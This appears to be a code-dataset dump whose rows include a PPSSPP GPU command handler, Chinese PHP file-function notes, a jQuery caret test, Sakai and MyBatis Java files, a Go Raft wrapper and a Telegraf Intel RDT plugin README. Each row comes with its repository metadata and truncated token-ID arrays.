0x0FFFFFFF); UpdatePC(currentList->pc, target - 4); currentList->pc = target - 4; if (!Memory::IsValidAddress(currentList->pc)) { ERROR_LOG_REPORT(G3D, "Invalid DL PC %08x on return", currentList->pc); UpdateState(GPUSTATE_ERROR); } } } break; case GE_CMD_SIGNAL: case GE_CMD_FINISH: // Processed in GE_END. break; case GE_CMD_END: { easy_guard guard(listLock); u32 prev = Memory::ReadUnchecked_U32(currentList->pc - 4); UpdatePC(currentList->pc); switch (prev >> 24) { case GE_CMD_SIGNAL: { // TODO: see http://code.google.com/p/jpcsp/source/detail?r=2935# SignalBehavior behaviour = static_cast<SignalBehavior>((prev >> 16) & 0xFF); int signal = prev & 0xFFFF; int enddata = data & 0xFFFF; bool trigger = true; currentList->subIntrToken = signal; switch (behaviour) { case PSP_GE_SIGNAL_HANDLER_SUSPEND: if (sceKernelGetCompiledSdkVersion() <= 0x02000010) currentList->state = PSP_GE_DL_STATE_PAUSED; currentList->signal = behaviour; DEBUG_LOG(G3D, "Signal with Wait UNIMPLEMENTED! signal/end: %04x %04x", signal, enddata); break; case PSP_GE_SIGNAL_HANDLER_CONTINUE: currentList->signal = behaviour; DEBUG_LOG(G3D, "Signal without wait. signal/end: %04x %04x", signal, enddata); break; case PSP_GE_SIGNAL_HANDLER_PAUSE: currentList->state = PSP_GE_DL_STATE_PAUSED; currentList->signal = behaviour; ERROR_LOG_REPORT(G3D, "Signal with Pause UNIMPLEMENTED! signal/end: %04x %04x", signal, enddata); break; case PSP_GE_SIGNAL_SYNC: currentList->signal = behaviour; DEBUG_LOG(G3D, "Signal with Sync. signal/end: %04x %04x", signal, enddata); break; case PSP_GE_SIGNAL_JUMP: { trigger = false; currentList->signal = behaviour; // pc will be increased after we return, counteract that. u32 target = ((signal << 16) | enddata) - 4; if (!Memory::IsValidAddress(target)) { ERROR_LOG_REPORT(G3D, "Signal with Jump: bad address. signal/end: %04x %04x", signal, enddata); } else { UpdatePC(currentList->pc, target); currentList->pc = target; DEBUG_LOG(G3D, "Signal with Jump. signal/end: %04x %04x", signal, enddata); } } break; case PSP_GE_SIGNAL_CALL: { trigger = false; currentList->signal = behaviour; // pc will be increased after we return, counteract that. u32 target = ((signal << 16) | enddata) - 4; if (currentList->stackptr == ARRAY_SIZE(currentList->stack)) { ERROR_LOG_REPORT(G3D, "Signal with Call: stack full. signal/end: %04x %04x", signal, enddata); } else if (!Memory::IsValidAddress(target)) { ERROR_LOG_REPORT(G3D, "Signal with Call: bad address. signal/end: %04x %04x", signal, enddata); } else { // TODO: This might save/restore other state... auto &stackEntry = currentList->stack[currentList->stackptr++]; stackEntry.pc = currentList->pc; stackEntry.offsetAddr = gstate_c.offsetAddr; UpdatePC(currentList->pc, target); currentList->pc = target; DEBUG_LOG(G3D, "Signal with Call. signal/end: %04x %04x", signal, enddata); } } break; case PSP_GE_SIGNAL_RET: { trigger = false; currentList->signal = behaviour; if (currentList->stackptr == 0) { ERROR_LOG_REPORT(G3D, "Signal with Return: stack empty. signal/end: %04x %04x", signal, enddata); } else { // TODO: This might save/restore other state... auto &stackEntry = currentList->stack[--currentList->stackptr]; gstate_c.offsetAddr = stackEntry.offsetAddr; UpdatePC(currentList->pc, stackEntry.pc); currentList->pc = stackEntry.pc; DEBUG_LOG(G3D, "Signal with Return. signal/end: %04x %04x", signal, enddata); } } break; default: ERROR_LOG_REPORT(G3D, "UNKNOWN Signal UNIMPLEMENTED %i ! signal/end: %04x %04x", behaviour, signal, enddata); break; } // TODO: Technically, jump/call/ret should generate an interrupt, but before the pc change maybe? if (currentList->interruptsEnabled && trigger) { if (__GeTriggerInterrupt(currentList->id, currentList->pc, startingTicks + cyclesExecuted)) { currentList->pendingInterrupt = true; UpdateState(GPUSTATE_INTERRUPT); } } } break; case GE_CMD_FINISH: switch (currentList->signal) { case PSP_GE_SIGNAL_HANDLER_PAUSE: if (currentList->interruptsEnabled) { if (__GeTriggerInterrupt(currentList->id, currentList->pc, startingTicks + cyclesExecuted)) { currentList->pendingInterrupt = true; UpdateState(GPUSTATE_INTERRUPT); } } break; case PSP_GE_SIGNAL_SYNC: currentList->signal = PSP_GE_SIGNAL_NONE; // TODO: Technically this should still cause an interrupt. Probably for memory sync. break; default: currentList->subIntrToken = prev & 0xFFFF; currentList->state = PSP_GE_DL_STATE_COMPLETED; UpdateState(GPUSTATE_DONE); if (currentList->interruptsEnabled && __GeTriggerInterrupt(currentList->id, currentList->pc, startingTicks + cyclesExecuted)) { currentList->pendingInterrupt = true; } else { currentList->waitTicks = startingTicks + cyclesExecuted; busyTicks = std::max(busyTicks, currentList->waitTicks); __GeTriggerSync(WAITTYPE_GELISTSYNC, currentList->id, currentList->waitTicks); } break; } break; default: DEBUG_LOG(G3D,"Ah, not finished: %06x", prev & 0xFFFFFF); break; } break; } default: DEBUG_LOG(G3D,"DL Unknown: %08x @ %08x", op, currentList == NULL ? 0 : currentList->pc); break; } } void GPUCommon::DoState(PointerWrap &p) { easy_guard guard(listLock); p.Do<int>(dlQueue); p.DoArray(dls, ARRAY_SIZE(dls)); int currentID = 0; if (currentList != NULL) { ptrdiff_t off = currentList - &dls[0]; currentID = (int) (off / sizeof(DisplayList)); } p.Do(currentID); if (currentID == 0) { currentList = NULL; } else { currentList = &dls[currentID]; } p.Do(interruptRunning); p.Do(gpuState); p.Do(isbreak); p.Do(drawCompleteTicks); p.Do(busyTicks); p.DoMarker("GPUCommon"); } void GPUCommon::InterruptStart(int listid) { interruptRunning = true; } void GPUCommon::InterruptEnd(int listid) { easy_guard guard(listLock); interruptRunning = false; isbreak = false; DisplayList &dl = dls[listid]; dl.pendingInterrupt = false; // TODO: Unless the signal handler could change it? if (dl.state == PSP_GE_DL_STATE_COMPLETED || dl.state == PSP_GE_DL_STATE_NONE) { dl.waitTicks = 0; __GeTriggerWait(WAITTYPE_GELISTSYNC, listid); } if (dl.signal == PSP_GE_SIGNAL_HANDLER_PAUSE) dl.signal = PSP_GE_SIGNAL_HANDLER_SUSPEND; guard.unlock(); ProcessDLQueue(); } // TODO: Maybe cleaner to keep this in GE and trigger the clear directly? void GPUCommon::SyncEnd(WaitType waitType, int listid, bool wokeThreads) { easy_guard guard(listLock); if (waitType == WAITTYPE_GEDRAWSYNC && wokeThreads) { for (int i = 0; i < DisplayListMaxCount; ++i) { if (dls[i].state == PSP_GE_DL_STATE_COMPLETED) { dls[i].state = PSP_GE_DL_STATE_NONE; } } } }
Ced2911/psychic-octo-wookie
GPU/GPUCommon.cpp
C++
gpl-2.0
25,531
[ 30522, 1001, 2421, 1026, 9896, 1028, 1001, 2421, 1000, 3128, 1013, 2918, 1013, 20101, 2595, 1012, 1044, 1000, 1001, 2421, 1000, 3128, 1013, 2918, 1013, 2051, 21823, 2140, 1012, 1044, 1000, 1001, 2421, 1000, 16216, 10521, 3022, 2213, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
--- layout: page title: php 文件管理 category: blog description: --- # Preface 以下是php文件管理函数归纳 # 文件属性(file attribute) filetype($path) block(块设备:分区,软驱,光驱) char(字符设备键盘打打印机) dir file fifo (命名管道,用于进程之间传递信息) link unknown file_exits() 文件存在性 filesize() 返回文件大小(字节数,用pow()去转化 为MB吧) is_readable()检查是否可读 is_writeable()检查是否可写 is_excuteable()检查是否可执行 filectime()检查文件创建的时间 filemtime()检查文件的修改时间 fileatime()检查文件访问时间 stat()获取文件的属性值 0 dev device number - 设备名 1 ino inode number - inode 号码 2 mode inode protection mode - inode 保护模式 3 nlink number of links - 被连接数目 4 uid userid of owner - 所有者的用户 id 5 gid groupid of owner- 所有者的组 id 6 rdev device type, if inode device * - 设备类型,如果是 inode 设备的话 7 size size in bytes - 文件大小的字节数 8 atime time of last access (unix timestamp) - 上次访问时间(Unix 时间戳) 9 mtime time of last modification (unix timestamp) - 上次修改时间(Unix 时间戳) 10 ctime time of last change (unix timestamp) - 上次改变时间(Unix 时间戳) 11 blksize blocksize of filesystem IO * - 文件系统 IO 的块大小 12 blocks number of blocks allocated - 所占据块的数目 # Dir, 文件目录 ## Path ### Pathinfo pathinfo()返回一个数组‘dirname’,'basename’,'filename', 'extension’ realpath('.'); dirname() basename();filename+.+extension ### File location __DIR__ //脚本目录 getcwd();//当前目录 __FILE__ realpath($file); //获取链接文件的绝对路径 #### _SERVER中的path: http://localhost/a/b/c/?var1=val1 #按脚本 **************** SCRIPT_FILENAME = DOCUMENT_ROOT + truePath /data1/www/htdocs/912/hilo/1/phpinfo.php DOCUMENT_ROOT /data1/www/htdocs/912/hilo/1 #按url path: SCRIPT_NAME /PHP_SELF / DOCUMENT_URI (nginx: SCRIPT_URL 默认是空的) nginx: $fastcgi_script_name , 这可以被 rewrite 改写, 以上path 都会变 /a/b/c/ SCRIPT_URI = HTTP_HOST+path 可能为空 http://hilojack.com/a/b/c/ REQUEST_URI = path + QUERY_STRING nginx: $request_uri /a/b/c/?test=1 Refer to: [](/p/linux-nginx) 其它: $_SERVER['OLDPWD'] The definition of OLDPWD is the *p*revious *w*orking *d*irectory as set by the cd command ## Dir Access $dirp=opendir() readdir($dirp);结尾时返回false rewinddir($dirp);返回目录开头 closedir($dirp); ### Match file 用`glob` 代替`opendir` foreach (glob("*.txt") as $filename) { echo "$filename size " . filesize($filename) . "\n"; } ## Dir Operation mkdir ( string $pathname [, int $mode [, bool $recursive [, resource $context ]]] ) rmdir($pathname);必须为空 # Upload File move_uploaded_file($_FILES['userfile']['tmp_name'], $dir.$file)) # File Operation ## Open: fopen ( string $filename , string $mode [, bool $use_include_path [, resource $zcontext ]] ) ‘r’ 只读方式打开,将文件指针指向文件头。 ‘r+’ 读写方式打开,将文件指针指向文件头。 ‘w’ 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 ‘w+’ 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 ‘a’ 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 ‘a+’ 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 ‘x’ 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 ‘x+’ 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 Windows 下提供了一个文本转换标记(’t')可以透明地将 \n 转换为 \r\n。与此对应还可以使用 ‘b’ 来强制使用二进制模式,这样就不会转换数据。要使用这些标记,要么用 ‘b’ 或者用 ‘t’ 作为 mode 参数的最后一个字符。 ## Close fclose($fp); ## File:read - write fread ( int $handle , int $length )最长8192 –fwrite ( resource $handle , string $string [, int $length ] ) fgets ( int $handle [, int $length=1024 ] ) 读取一行 fgetss ( resource $handle [, int $length])读取一行并且去掉html+php标记 fgetc();读取一个字符 //格式化 while($log = fscanf($handler, '%s-%d-%d')){ list($name, $uid, $phone) = $log; } //csv fgetcsv ( resource $handle [, int $length = 0 [, string $delimiter = ',' [, string $enclosure = '"' [, string $escape = '\\' ]]]] ); 读入一行并解析csv 其它: 获取内容 file_get_contents() —file_put_contents() 返回行数组 file ( string $filename [, int $use_include_path [, resource $context ]] ) 输出一个文件 readfile ( string $filename [, bool $use_include_path [, resource $context ]] ) 文件截取 ftruncate ( resource $handle , int $size ),当$size=0,文件就变为空 文件删除 unlink(); 文件复制 copy($src,$dst); Access a.php , a.php include ../b.php, b.php include htm/c.php, in c.php file_put_contents('a.txt', 'a');// write to ./a.txt not to ../htm/a.txt ## 指针移动 ftell($fp);//Returns the current position of the file read/write pointer fseek($fp,$offset[,SEEK_CUR OR SEEK_END OR SEEK_SET),SEEK_SET是默认值,SEEK_END时offset应该为负值 可选。可能的值: SEEK_SET - 设定位置等于 offset 字节。默认。 SEEK_CUR - 设定位置为当前位置加上 offset。 SEEK_END - 设定位置为文件末尾加上 offset (要移动到文件尾之前的位置,offset 必须是一个负值)。 # 并发访问中的文件锁 flock ( int $handle , int $operation [, int &$wouldblock ] ) $operation flock($f, LOCK_SH); 默认值, 没有意义? 不是的,当LOCK_EX 时,这句会返回失败 flock($f, LOCK_EX) 独占锁,带阻塞等待 flock($f, LOCK_EX | LOCK_NB) or die('Another process is running!'); 独占锁,不阻塞 flock($f, LOCK_UN); 释锁 $wouldblock 遇到阻塞时会被设为1 可以用`php -a` 开两个进程测试a.txt # 上传下载 ## 上传 1.1表单:enctype="multipart/form-data" array(1) { ["upload"]=>array(5) { ["name"]=>array(3) { [0]=>string(9)"file0.txt" [1]=>string(9)"file1.txt" [2]=>string(9)"file2.txt" } ["type"]=>array(3) { [0]=>string(10)"text/plain" [1]=>string(10)"text/plain" [2]=>string(10)"text/plain" } ["tmp_name"]=>array(3) { [0]=>string(14)"/tmp/blablabla" [1]=>string(14)"/tmp/phpyzZxta" [2]=>string(14)"/tmp/phpn3nopO" } ["error"]=>array(3) { [0]=>int(0) [1]=>int(0) [2]=>int(0) } ["size"]=>array(3) { [0]=>int(0) [1]=>int(0) [2]=>int(0) } } } 1.2处理上传 move_uploaded_file();必须要在http.conf中设置documentRoot文件 ## 下载 header("Content-Type:application/octet-stream"); //打开始终下载的mimetype header("Content-Disposition: attachment; filename=文件名.后缀名"); // 文件名.后缀名 换成你的文件名这里的文件名是下载后的文件名,和你的源文件名没有关系。 header("Pragma: no-cache"); // 缓存 header("Expires: 0″); header("Content-Length:3390″); 记得加enctype="multipart/form-data"
alskjstl/hilojack.github.io
_posts/2013-2-3-php-file.md
Markdown
mit
8,412
[ 30522, 1011, 1011, 1011, 9621, 1024, 3931, 2516, 1024, 25718, 1861, 100, 100, 100, 4696, 1024, 9927, 6412, 1024, 1011, 1011, 1011, 1001, 18443, 100, 1743, 100, 25718, 1861, 100, 100, 100, 100, 100, 100, 100, 1001, 1861, 100, 100, 100, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/*global document, describe, it, expect, require, window, afterEach */ const jQuery = require('jquery'); require('../../src/browser/place-caret-at-end'); describe('placeCaretAtEnd', () => { 'use strict'; let underTest; afterEach(() => { underTest.remove(); }); it('works on contenteditable divs', () => { underTest = jQuery('<span>').html('some text').appendTo('body'); underTest.placeCaretAtEnd(); const selection = window.getSelection(), range = selection.getRangeAt(0); expect(selection.type).toEqual('Caret'); expect(selection.rangeCount).toEqual(1); range.surroundContents(document.createElement('i')); expect(underTest.html()).toEqual('some text<i></i>'); }); });
mindmup/mapjs
specs/browser/place-caret-at-end-spec.js
JavaScript
mit
698
[ 30522, 1013, 1008, 3795, 6254, 1010, 6235, 1010, 2009, 1010, 5987, 1010, 5478, 1010, 3332, 1010, 2044, 5243, 2818, 1008, 1013, 9530, 3367, 1046, 4226, 2854, 1027, 5478, 1006, 1005, 1046, 4226, 2854, 1005, 1007, 1025, 5478, 1006, 1005, 101...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/********************************************************************************** * $URL$ * $Id$ *********************************************************************************** * * Copyright (c) 2003, 2004, 2005, 2006, 2008 The Sakai Foundation * * Licensed under the Educational Community License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.opensource.org/licenses/ECL-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * **********************************************************************************/ package org.sakaiproject.message.api; import java.util.Collection; import java.util.Stack; import org.sakaiproject.entity.api.AttachmentContainer; import org.sakaiproject.site.api.Group; import org.sakaiproject.time.api.Time; import org.sakaiproject.user.api.User; import org.w3c.dom.Document; import org.w3c.dom.Element; /** * <p> * MessageHeader is the base Interface for a Sakai Message headers. Header fields common to all message service message headers are defined here. * </p> */ public interface MessageHeader extends AttachmentContainer { /** * <p> * MessageAccess enumerates different access modes for the message: channel-wide or grouped. * </p> */ public class MessageAccess { private final String m_id; private MessageAccess(String id) { m_id = id; } public String toString() { return m_id; } static public MessageAccess fromString(String access) { // if (PUBLIC.m_id.equals(access)) return PUBLIC; if (CHANNEL.m_id.equals(access)) return CHANNEL; if (GROUPED.m_id.equals(access)) return GROUPED; return null; } /** public access to the message: pubview */ // public static final MessageAccess PUBLIC = new MessageAccess("public"); /** channel (site) level access to the message */ public static final MessageAccess CHANNEL = new MessageAccess("channel"); /** grouped access; only members of the getGroup() groups (authorization groups) have access */ public static final MessageAccess GROUPED = new MessageAccess("grouped"); } /** * Access the unique (within the channel) message id. * * @return The unique (within the channel) message id. */ String getId(); /** * Access the date/time the message was sent to the channel. * * @return The date/time the message was sent to the channel. */ Time getDate(); /** * Access the message order of the message was sent to the channel. * * @return The message order of the message was sent to the channel. */ Integer getMessage_order(); /** * Access the User who sent the message to the channel. * * @return The User who sent the message to the channel. */ User getFrom(); /** * Access the draft status of the message. * * @return True if the message is a draft, false if not. */ boolean getDraft(); /** * Access the groups defined for this message. * * @return A Collection (String) of group refs (authorization group ids) defined for this message; empty if none are defined. */ Collection<String> getGroups(); /** * Access the groups, as Group objects, defined for this message. * * @return A Collection (Group) of group objects defined for this message; empty if none are defined. */ Collection<Group> getGroupObjects(); /** * Access the access mode for the message - how we compute who has access to the message. * * @return The MessageAccess access mode for the message. */ MessageAccess getAccess(); /** * Serialize the resource into XML, adding an element to the doc under the top of the stack element. * * @param doc * The DOM doc to contain the XML (or null for a string return). * @param stack * The DOM elements, the top of which is the containing element of the new "resource" element. * @return The newly added element. */ Element toXml(Document doc, Stack stack); }
conder/sakai
message/message-api/api/src/java/org/sakaiproject/message/api/MessageHeader.java
Java
apache-2.0
4,259
[ 30522, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package io.github.dantesun.petclinic.data.velocity; import org.apache.ibatis.executor.parameter.ParameterHandler; import org.apache.ibatis.mapping.BoundSql; import org.apache.ibatis.mapping.MappedStatement; import org.apache.ibatis.mapping.SqlSource; import org.apache.ibatis.parsing.XNode; import org.apache.ibatis.scripting.LanguageDriver; import org.apache.ibatis.session.Configuration; import org.apache.ibatis.type.Alias; import org.mybatis.scripting.velocity.Driver; /** * Created by dsun on 15/2/22. */ @Alias("velocity") public class VelocityDriver implements LanguageDriver { private Driver driverImpl = new Driver(); @Override public ParameterHandler createParameterHandler(MappedStatement mappedStatement, Object parameterObject, BoundSql boundSql) { return driverImpl.createParameterHandler(mappedStatement, parameterObject, boundSql); } @Override public SqlSource createSqlSource(Configuration configuration, XNode script, Class<?> parameterType) { return createSqlSource(configuration, script.getNode().getTextContent(), parameterType); } @Override public SqlSource createSqlSource(Configuration configuration, String script, Class<?> parameterType) { if (parameterType == null) { parameterType = Object.class; } return new VelocitySqlSource(configuration, script, parameterType); } }
dantesun/webapp-boilerplate
core-models/src/main/java/io/github/dantesun/petclinic/data/velocity/VelocityDriver.java
Java
apache-2.0
1,398
[ 30522, 7427, 22834, 1012, 21025, 2705, 12083, 1012, 9649, 19729, 1012, 9004, 20464, 5498, 2278, 1012, 2951, 1012, 10146, 1025, 12324, 8917, 1012, 15895, 1012, 21307, 10450, 2015, 1012, 4654, 8586, 16161, 2099, 1012, 16381, 1012, 16381, 11774,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package raft import ( "github.com/iketheadore/raft/comm" "github.com/iketheadore/raft/logic" ) type Raft struct { localServ logic.Server listener comm.Listener sender comm.Sender logic *logic.Logic } func New(addr string) *Raft { r := &Raft{localServ: logic.Server{Addr: addr, Role: logic.Follower}, listener: comm.NewListener(addr)} r.listener.Run() r.logic = logic.New(r.localServ) r.logic.Subscribe(r.listener) return r } func (r *Raft) Connect(addr string) error { return r.logic.Connect(logic.Server{Addr: addr, Role: logic.Follower}) } func (r *Raft) Run() { r.logic.Run() } func (r *Raft) ReplicateCmd(cmd comm.Command) { r.logic.ReplicateCmd(cmd) }
iketheadore/raft
raft.go
GO
mit
685
[ 30522, 7427, 21298, 12324, 1006, 1000, 21025, 2705, 30524, 21298, 1013, 4012, 2213, 1000, 1000, 21025, 2705, 12083, 1012, 4012, 1013, 25209, 10760, 26467, 2063, 1013, 21298, 1013, 7961, 1000, 1007, 2828, 21298, 2358, 6820, 6593, 1063, 10575, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# Intel RDT Input Plugin The `intel_rdt` plugin collects information provided by monitoring features of the Intel Resource Director Technology (Intel(R) RDT). Intel RDT provides the hardware framework to monitor and control the utilization of shared resources (ex: last level cache, memory bandwidth). ### About Intel RDT Intel’s Resource Director Technology (RDT) framework consists of: - Cache Monitoring Technology (CMT) - Memory Bandwidth Monitoring (MBM) - Cache Allocation Technology (CAT) - Code and Data Prioritization (CDP) As multithreaded and multicore platform architectures emerge, the last level cache and memory bandwidth are key resources to manage for running workloads in single-threaded, multithreaded, or complex virtual machine environments. Intel introduces CMT, MBM, CAT and CDP to manage these workloads across shared resources. ### Prerequsities - PQoS Tool To gather Intel RDT metrics, the `intel_rdt` plugin uses _pqos_ cli tool which is a part of [Intel(R) RDT Software Package](https://github.com/intel/intel-cmt-cat). Before using this plugin please be sure _pqos_ is properly installed and configured regarding that the plugin run _pqos_ to work with `OS Interface` mode. This plugin supports _pqos_ version 4.0.0 and above. Note: pqos tool needs root privileges to work properly. Metrics will be constantly reported from the following `pqos` commands within the given interval: #### In case of cores monitoring: ``` pqos -r --iface-os --mon-file-type=csv --mon-interval=INTERVAL --mon-core=all:[CORES]\;mbt:[CORES] ``` where `CORES` is equal to group of cores provided in config. User can provide many groups. #### In case of process monitoring: ``` pqos -r --iface-os --mon-file-type=csv --mon-interval=INTERVAL --mon-pid=all:[PIDS]\;mbt:[PIDS] ``` where `PIDS` is group of processes IDs which name are equal to provided process name in a config. User can provide many process names which lead to create many processes groups. In both cases `INTERVAL` is equal to sampling_interval from config. Because PIDs association within system could change in every moment, Intel RDT plugin provides a functionality to check on every interval if desired processes change their PIDs association. If some change is reported, plugin will restart _pqos_ tool with new arguments. If provided by user process name is not equal to any of available processes, will be omitted and plugin will constantly check for process availability. ### Useful links Pqos installation process: https://github.com/intel/intel-cmt-cat/blob/master/INSTALL Enabling OS interface: https://github.com/intel/intel-cmt-cat/wiki, https://github.com/intel/intel-cmt-cat/wiki/resctrl More about Intel RDT: https://www.intel.com/content/www/us/en/architecture-and-technology/resource-director-technology.html ### Configuration ```toml # Read Intel RDT metrics [[inputs.intel_rdt]] ## Optionally set sampling interval to Nx100ms. ## This value is propagated to pqos tool. Interval format is defined by pqos itself. ## If not provided or provided 0, will be set to 10 = 10x100ms = 1s. # sampling_interval = "10" ## Optionally specify the path to pqos executable. ## If not provided, auto discovery will be performed. # pqos_path = "/usr/local/bin/pqos" ## Optionally specify if IPC and LLC_Misses metrics shouldn't be propagated. ## If not provided, default value is false. # shortened_metrics = false ## Specify the list of groups of CPU core(s) to be provided as pqos input. ## Mandatory if processes aren't set and forbidden if processes are specified. ## e.g. ["0-3", "4,5,6"] or ["1-3,4"] # cores = ["0-3"] ## Specify the list of processes for which Metrics will be collected. ## Mandatory if cores aren't set and forbidden if cores are specified. ## e.g. ["qemu", "pmd"] # processes = ["process"] ``` ### Exposed metrics | Name | Full name | Description | |---------------|-----------------------------------------------|-------------| | MBL | Memory Bandwidth on Local NUMA Node | Memory bandwidth utilization by the relevant CPU core/process on the 